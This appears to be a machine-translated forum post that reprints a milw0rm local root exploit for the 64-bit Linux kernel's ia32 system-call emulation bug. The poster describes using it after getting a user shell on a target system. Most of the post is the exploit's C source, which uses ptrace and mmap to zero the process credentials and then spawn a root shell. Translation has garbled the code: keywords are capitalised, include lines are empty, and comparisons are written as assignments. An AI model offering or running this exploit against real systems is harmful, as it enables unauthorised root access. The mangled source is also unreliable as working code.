64-bit Linux seckilling Vulnerability

Linux general technology-Linux programming and kernel information-vulnerabilities of 64-bit Linux in seckilling. The following is a detailed description. Some time ago, I got the shell of a 64-bit linux User and tried a lot of Local Elevation of Privilege. I suddenly found this thing. uid = 0 directly, cute "#".

I have successfully tested ubuntu 7.04 64-bit.

You can directly compile gcc and then execute it.

I don't understand the program principle, the cause of the vulnerability, and the description is a system call problem. No shellcode, not like overflow.

/* Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit /*
* Exploit for x86_64 linux kernel ia32syscall emulation
* Bug, discovered by Wojciech Purczynski
*
*
* Robert Swiecki
* Przemyslaw Frasunek
* Pawel Pisarczyk
* Of ATM-Lab http://www.atm-lab.pl
*/


# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include

Uint32_t uid, euid, suid;

Static void kernelmodecode (void)
{
Int I;
Uint8_t * gs;
Uint32_t * ptr;

Asm volatile ("movq % gs :( 0x0), % 0": "= r" (gs ));

For (I = 200; I <1000; I + = 1 ){

Ptr = (uint32_t *) (gs + I );

If (ptr [0] = uid) & (ptr [1] = euid)
& (Ptr [2] = suid) & (ptr [3] = uid )){
Ptr [0] = 0; // UID
Ptr [1] = 0; // EUID
Ptr [2] = 0; // SUID

Break;
}
}

}

Static void docall (uint64_t * ptr, uint64_t size)
{
Getresuid (& uid, & euid, & suid );

Uint64_t tmp = (uint64_t) ptr &~ 0x00000000000FFF );

If (mmap (void *) tmp, size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,-1, 0) = MAP_FAILED ){
Printf ("mmap fault \ n ");
Exit (1 );
}

For (; ptr <(tmp + size); ptr ++)
* Ptr = (uint64_t) kernelmodecode;

_ Asm _ ("\ n"
"\ Tmovq $0x101, % rax \ n"
"\ Tint $0x80 \ n ");

Printf ("UID % d, EUID: % d GID: % d, EGID: % d \ n", getuid (), geteuid (), getgid (), getegid

());
Execl ("/bin/sh", "bin/sh", 0 );
Printf ("no/bin/sh ?? \ N ");
Exit (0 );
}

Int main (int argc, char ** argv)
{
Int pid, status, set = 0;
Uint64_t rax;
Uint64_t kern_s = 0xffffffff80000000;
Uint64_t kern_e = 0xffffffff84000000;
Uint64_t off = 0x0000000800000101*8;

If (argc = 4 ){
Docall (uint64_t *) (kern_s + off), kern_e-kern_s );
Exit (0 );
}

If (pid = fork () = 0 ){
Ptrace (PTRACE_TRACEME, 0, 0, 0 );
Execl (argv [0], argv [0], "2", "3", "4", 0 );
Perror ("exec fault ");
Exit (1 );
}

If (pid =-1 ){
Printf ("fork fault \ n ");
Exit (1 );
}

For (;;){
If (wait (& status )! = Pid)
Continue;

If (WIFEXITED (status )){
Printf ("Process finished \ n ");
Break;
}

If (! WIFSTOPPED (status ))
Continue;

If (WSTOPSIG (status )! = SIGTRAP ){
Printf ("Process encoded ed signal: % d \ n", WSTOPSIG (status ));
Break;
}

Rax = ptrace (PTRACE_PEEKUSER, pid, 8 * ORIG_RAX, 0 );
If (rax = 0x000000000101 ){
If (ptrace (PTRACE_POKEUSER, pid, 8 * ORIG_RAX, off/8) =-1 ){
Printf ("PTRACE_POKEUSER fault \ n ");
Exit (1 );
}
Set = 1;
}

If (rax = 11) & set ){
Ptrace (PTRACE_DETACH, pid, 0, 0 );
For (;;)
Sleep (10000 );
}

If (ptrace (PTRACE_SYSCALL, pid, 1, 0) =-1 ){
Printf ("PTRACE_SYSCALL fault \ n ");
Exit (1 );
}
}

Return 0;
}

// Milw0rm.com [2007-09-27]